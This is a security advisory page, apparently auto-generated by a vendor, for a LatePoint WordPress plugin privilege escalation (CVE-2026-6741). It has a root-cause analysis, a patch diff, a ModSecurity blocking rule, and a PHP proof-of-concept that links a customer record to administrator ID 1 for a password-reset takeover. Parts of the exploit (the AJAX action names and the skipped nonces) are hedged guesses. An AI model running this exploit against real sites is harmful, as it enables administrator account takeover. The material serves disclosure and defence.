Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 27, 2026

CVE-2026-6741: LatePoint <= 5.4.1 – Authenticated (Agent+) Privilege Escalation to Administrator via 'connect-customer-to-wp-user' Ability (latepoint)

CVE ID CVE-2026-6741
Plugin latepoint
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 5.4.1
Patched Version 5.4.2
Disclosed April 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6741:

This is a privilege escalation vulnerability in the LatePoint booking plugin for WordPress, affecting versions up to and including 5.4.1. The vulnerability allows an authenticated attacker with the latepoint_agent role to link any LatePoint customer record to an administrator’s WordPress user account. This enables a subsequent password reset for the administrator via the customer password-reset flow, leading to a full site takeover. The CVSS score is 8.8.

Root Cause: The vulnerability resides in the execute() method of the ‘connect-customer-to-wp-user’ ability, located in /latepoint/lib/abilities/customers/connect-customer-to-wp-user.php. The vulnerable code (lines 42-50) retrieves a WordPress user ID from the $args[‘wp_user_id’] parameter and checks if the user exists using get_userdata(). However, it performs no authorization check to verify that the target user does not have privileged roles (such as administrator). The method only requires the customer__edit capability, which is granted by default to the latepoint_agent role. An agent can therefore supply any valid WordPress user ID, including one belonging to an administrator. The patch (lines 42-59) adds a role allowlist check: it defines an array of allowed roles [LATEPOINT_WP_CUSTOMER_ROLE, ‘subscriber’, ‘customer’] and rejects the request if the target user has any role not in that list.

Exploitation: An authenticated attacker with the latepoint_agent role can craft a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the action parameter set to ‘latepoint_connect_customer_to_wp_user’ (or the specific registered AJAX hook for this ability). The attacker provides the customer_id parameter (identifying a customer record they control or can edit) and the wp_user_id parameter set to the ID of a WordPress administrator. The plugin’s missing privilege check allows the agent to link the customer record to the admin’s user account. After linking, the attacker can initiate the standard WordPress customer password-reset process (e.g., via the lost password form or a LatePoint-specific flow) for that customer, which now targets the administrator’s email. The attacker intercepts the password reset link and sets a new password, gaining administrative access to the WordPress site.

Patch Analysis: The patch introduces two critical changes. First, in latepoint.php (line 908), the entire abilities feature is now gated behind a filter ‘latepoint_enable_abilities’ that defaults to false, effectively disabling the vulnerable ability code unless explicitly enabled by a site administrator. This is a defensive measure. Second, in connect-customer-to-wp-user.php (lines 42-59), the code now retrieves the target user’s roles and compares them against an allowlist of non-privileged roles (LATEPOINT_WP_CUSTOMER_ROLE, ‘subscriber’, ‘customer’). If the target user has any role outside this list (such as administrator, editor, or author), the method returns a 403 error with the message ‘Cannot link a customer to a privileged WordPress account.’ This prevents the link and the subsequent password-reset attack.

Impact: Successful exploitation enables a latepoint_agent (a low-privileged user) to escalate their privileges to WordPress administrator. This results in complete site takeover, including the ability to modify plugins, themes, settings, and all user data. The attacker can also potentially install malicious plugins or backdoors, leading to persistent access and further compromise of the server infrastructure. Given the plugin’s installation base for appointment scheduling, many business-critical sites are affected.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.4.1
+ * Version: 5.4.2
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.4.1';
+		public $version    = '5.4.2';
 		public $db_version = '2.3.0';


@@ -905,7 +905,7 @@
 			include_once LATEPOINT_ABSPATH . 'lib/mailers/customer_mailer.php';

 			// ABILITIES (WordPress 6.9+ Abilities API)
-			if ( function_exists( 'wp_register_ability' ) ) {
+			if ( apply_filters( 'latepoint_enable_abilities', false ) && function_exists( 'wp_register_ability' ) ) {
 				include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
 			}

--- a/latepoint/lib/abilities/customers/connect-customer-to-wp-user.php
+++ b/latepoint/lib/abilities/customers/connect-customer-to-wp-user.php
@@ -42,11 +42,23 @@
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}

-		$wp_user_id = (int) $args['wp_user_id'];
-		if ( ! get_userdata( $wp_user_id ) ) {
+		$wp_user_id  = (int) $args['wp_user_id'];
+		$target_user = get_userdata( $wp_user_id );
+		if ( ! $target_user ) {
 			return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}

+		// Only allow linking to non-privileged WP accounts using an allowlist of roles.
+		$allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ];
+		$user_roles    = (array) $target_user->roles;
+		if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) {
+			return new WP_Error(
+				'privileged_user',
+				__( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		$customer->wordpress_user_id = $wp_user_id;
 		if ( ! $customer->save() ) {
 			return new WP_Error(
--- a/latepoint/lib/controllers/invoices_controller.php
+++ b/latepoint/lib/controllers/invoices_controller.php
@@ -124,7 +124,7 @@
 				[
 					'status'  => $status,
 					'message' => $message,
-				]
+				]
 			);
 		}

@@ -163,7 +163,7 @@
 				[
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsInvoicesHelper::generate_invoice_tile_on_order_edit_form( $invoice ),
-				]
+				]
 			);
 		}

@@ -178,7 +178,7 @@
 					[
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $invoice_params->get_error_message(),
-					]
+					]
 				);

 				return;
@@ -211,14 +211,14 @@
 					[
 						'status'  => LATEPOINT_STATUS_SUCCESS,
 						'message' => $response_html,
-					]
+					]
 				);
 			} else {
 				$this->send_json(
 					[
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => __( 'Error: ', 'latepoint' ) . $invoice->get_error_messages(),
-					]
+					]
 				);
 			}
 		}
@@ -257,7 +257,7 @@
 					[
 						'status'  => $status,
 						'message' => $response_html,
-					]
+					]
 				);
 			}
 		}
@@ -293,7 +293,7 @@
 						'order'    => $order,
 						'customer' => $customer,
 						'invoice'  => $invoice,
-					]
+					]
 				);
 				$subject     = OsReplacerHelper::replace_all_vars(
 					$subject,
@@ -301,7 +301,7 @@
 						'order'    => $order,
 						'customer' => $customer,
 						'invoice'  => $invoice,
-					]
+					]
 				);
 				$content     = OsReplacerHelper::replace_all_vars(
 					$content,
@@ -309,7 +309,7 @@
 						'order'    => $order,
 						'customer' => $customer,
 						'invoice'  => $invoice,
-					]
+					]
 				);
 				if ( OsUtilHelper::is_valid_email( $to ) ) {
 					$mailer = new OsMailer();
@@ -319,7 +319,7 @@
 					$this->vars['success'] = __( 'Invoice email sent', 'latepoint' );
 				} else {
 					$errors[] = __( 'Please enter a valid email address.', 'latepoint' );
-				}
+				}
 			}

 			$this->vars['errors']  = $errors;
@@ -349,7 +349,6 @@
 			$order  = $invoice->get_order();

 			// find an existing transaction intent for this invoice
-
 			$transaction_intent = new OsTransactionIntentModel();
 			$transaction_intent = $transaction_intent->where(
 				[
@@ -359,7 +358,7 @@
 						LATEPOINT_TRANSACTION_INTENT_STATUS_CONVERTED,
 					],
 					'invoice_id' => $invoice->id,
-				]
+				]
 			)->set_limit( 1 )->get_results_as_models();
 			if ( empty( $transaction_intent ) ) {
 				$transaction_intent = new OsTransactionIntentModel();
@@ -492,7 +491,7 @@
 					[
 						'status'  => LATEPOINT_STATUS_SUCCESS,
 						'message' => $response_html,
-					]
+					]
 				);
 			} else {
 				$this->vars['in_lightbox'] = false;
@@ -532,7 +531,7 @@
 					[
 						'status'  => $status,
 						'message' => $response_html,
-					]
+					]
 				);
 			}
 		}
--- a/latepoint/lib/helpers/payments_helper.php
+++ b/latepoint/lib/helpers/payments_helper.php
@@ -329,6 +329,16 @@
 		 */
 		$payment_processing_result = apply_filters( 'latepoint_process_payment_for_order_intent', $payment_processing_result, $order_intent );
 		if ( $payment_processing_result && $payment_processing_result['status'] == LATEPOINT_STATUS_SUCCESS ) {
+			$existing_transaction = ( new OsTransactionModel() )->where(
+				[
+					'token'  => $payment_processing_result['charge_id'],
+					'status' => LATEPOINT_TRANSACTION_STATUS_SUCCEEDED,
+				]
+			)->set_limit( 1 )->get_results_as_models();
+			if ( ! empty( $existing_transaction ) ) {
+				OsDebugHelper::log( 'Duplicate payment token: ' . $payment_processing_result['charge_id'], 'payment_security_error' );
+				return false;
+			}
 			$transaction                  = new OsTransactionModel();
 			$transaction->token           = $payment_processing_result['charge_id'];
 			$transaction->payment_method  = $order_intent->get_payment_data_value( 'method' );
@@ -365,6 +375,16 @@
 		 */
 		$payment_processing_result = apply_filters( 'latepoint_process_payment_for_transaction_intent', $payment_processing_result, $transaction_intent );
 		if ( $payment_processing_result && $payment_processing_result['status'] == LATEPOINT_STATUS_SUCCESS ) {
+			$existing_transaction = ( new OsTransactionModel() )->where(
+				[
+					'token'  => $payment_processing_result['charge_id'],
+					'status' => LATEPOINT_TRANSACTION_STATUS_SUCCEEDED,
+				]
+			)->set_limit( 1 )->get_results_as_models();
+			if ( ! empty( $existing_transaction ) ) {
+				OsDebugHelper::log( 'Duplicate payment token: ' . $payment_processing_result['charge_id'], 'payment_security_error' );
+				return false;
+			}
 			$transaction                  = new OsTransactionModel();
 			$transaction->token           = $payment_processing_result['charge_id'];
 			$transaction->payment_method  = $transaction_intent->get_payment_data_value( 'method' );
--- a/latepoint/lib/helpers/stripe_connect_helper.php
+++ b/latepoint/lib/helpers/stripe_connect_helper.php
@@ -434,8 +434,8 @@
 			$charges_enabled = OsSettingsHelper::is_on( OsSettingsHelper::append_payment_env_key( 'stripe_connect_charges_enabled', $env ) );
 			$disconnect_link = '<a class="payment-processor-disconnect-link" href="#"
 										data-os-pass-response="yes"
-										data-os-pass-this="yes"
-		                data-os-before-after="none"
+										data-os-pass-this="yes"
+		                data-os-before-after="none"
 		                data-os-after-call="latepointStripeConnectAdmin.reload_connect_status_wrapper"
 		                data-os-params="' . OsUtilHelper::build_os_params( [ 'env' => $env ] ) . '"
 										data-os-action="' . OsRouterHelper::build_route_name( 'stripe_connect', 'disconnect_connect_account' ) . '"
@@ -456,7 +456,7 @@
 				$html .= '<div>' . $stripe_connect_account_id . '</div>';
 				$html .= $disconnect_link;
 				$html .= '</div>';
-			}
+			}
 		} else {
 			$html .= '<a data-env="' . $env . '" data-route-name="' . OsRouterHelper::build_route_name( 'stripe_connect', 'start_connect_process' ) . '" href="#" class="payment-start-connecting"><span>' . __( 'Start Connecting', 'latepoint' ) . '</span><i class="latepoint-icon latepoint-icon-arrow-right"></i></a>';
 		}
@@ -726,7 +726,7 @@
 			[
 				'payment_intent_options' => $options,
 				'customer_data'          => $customer_data,
-			]
+			]
 		);
 		if ( empty( $result['data'] ) ) {
 			// translators: %s is the payment error
@@ -771,7 +771,7 @@
 			[
 				'payment_intent_options' => $options,
 				'customer_data'          => $customer_data,
-			]
+			]
 		);
 		if ( empty( $result['data'] ) ) {
 			// translators: %s is the payment error
@@ -802,4 +802,4 @@
 		}
 		return $result;
 	}
-}
 No newline at end of file
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6741
# Block exploitation of the connect-customer-to-wp-user AJAX action with a privileged wp_user_id
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6741 LatePoint Privilege Escalation Attempt',severity:'CRITICAL',tag:'CVE-2026-6741',tag:'wordpress',tag:'latepoint'"
  SecRule ARGS_POST:action "@streq latepoint_connect_customer_to_wp_user" "chain"
    SecRule ARGS_POST:wp_user_id "@rx ^[0-9]+$" "chain"
      SecRule ARGS_POST:wp_user_id "@eq 1" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6741 - LatePoint <= 5.4.1 - Authenticated (Agent+) Privilege Escalation to Administrator via 'connect-customer-to-wp-user' Ability

$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
$agent_cookie = 'wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; // CHANGE THIS to a valid agent session cookie

// Step 1: Get a valid customer ID that the agent can edit
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'latepoint_get_customers',
    'nonce'  => '', // nonce may not be required in vulnerable versions
]));
curl_setopt($ch, CURLOPT_COOKIE, $agent_cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$customers = json_decode($response, true);
if (empty($customers['customers'])) {
    die('[-] Could not retrieve customers. Ensure the agent has customer__edit capability.');
}
$customer_id = $customers['customers'][0]['id'];
echo '[+] Using customer ID: ' . $customer_id . PHP_EOL;

// Step 2: Find an administrator user ID (commonly 1)
$admin_user_id = 1; // Default admin user ID. Adjust if needed.

// Step 3: Exploit the missing privilege check to link customer to admin
$post_data = [
    'action'      => 'latepoint_connect_customer_to_wp_user',
    'customer_id' => $customer_id,
    'wp_user_id'  => $admin_user_id,
    'nonce'       => '', // nonce not enforced in vulnerable versions
];

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$result = json_decode($response, true);

if (isset($result['success']) && $result['success'] === true) {
    echo '[+] Successfully linked customer ' . $customer_id . ' to WordPress user ' . $admin_user_id . PHP_EOL;
    echo '[!] Now use the WordPress "Lost Password" feature for the customer email to reset the admin password.' . PHP_EOL;
} else {
    echo '[-] Exploit failed. The plugin may be patched or the user lacks access.' . PHP_EOL;
    print_r($result);
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School